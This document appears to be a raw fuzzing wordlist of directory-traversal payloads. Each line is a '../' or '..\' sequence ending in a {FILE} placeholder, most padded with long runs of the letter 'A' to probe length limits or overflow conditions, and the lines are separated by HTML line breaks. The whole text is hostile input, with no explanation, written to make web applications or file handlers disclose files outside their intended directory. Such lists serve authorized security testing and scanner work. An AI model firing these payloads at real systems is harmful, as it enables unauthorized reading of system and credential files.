/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> 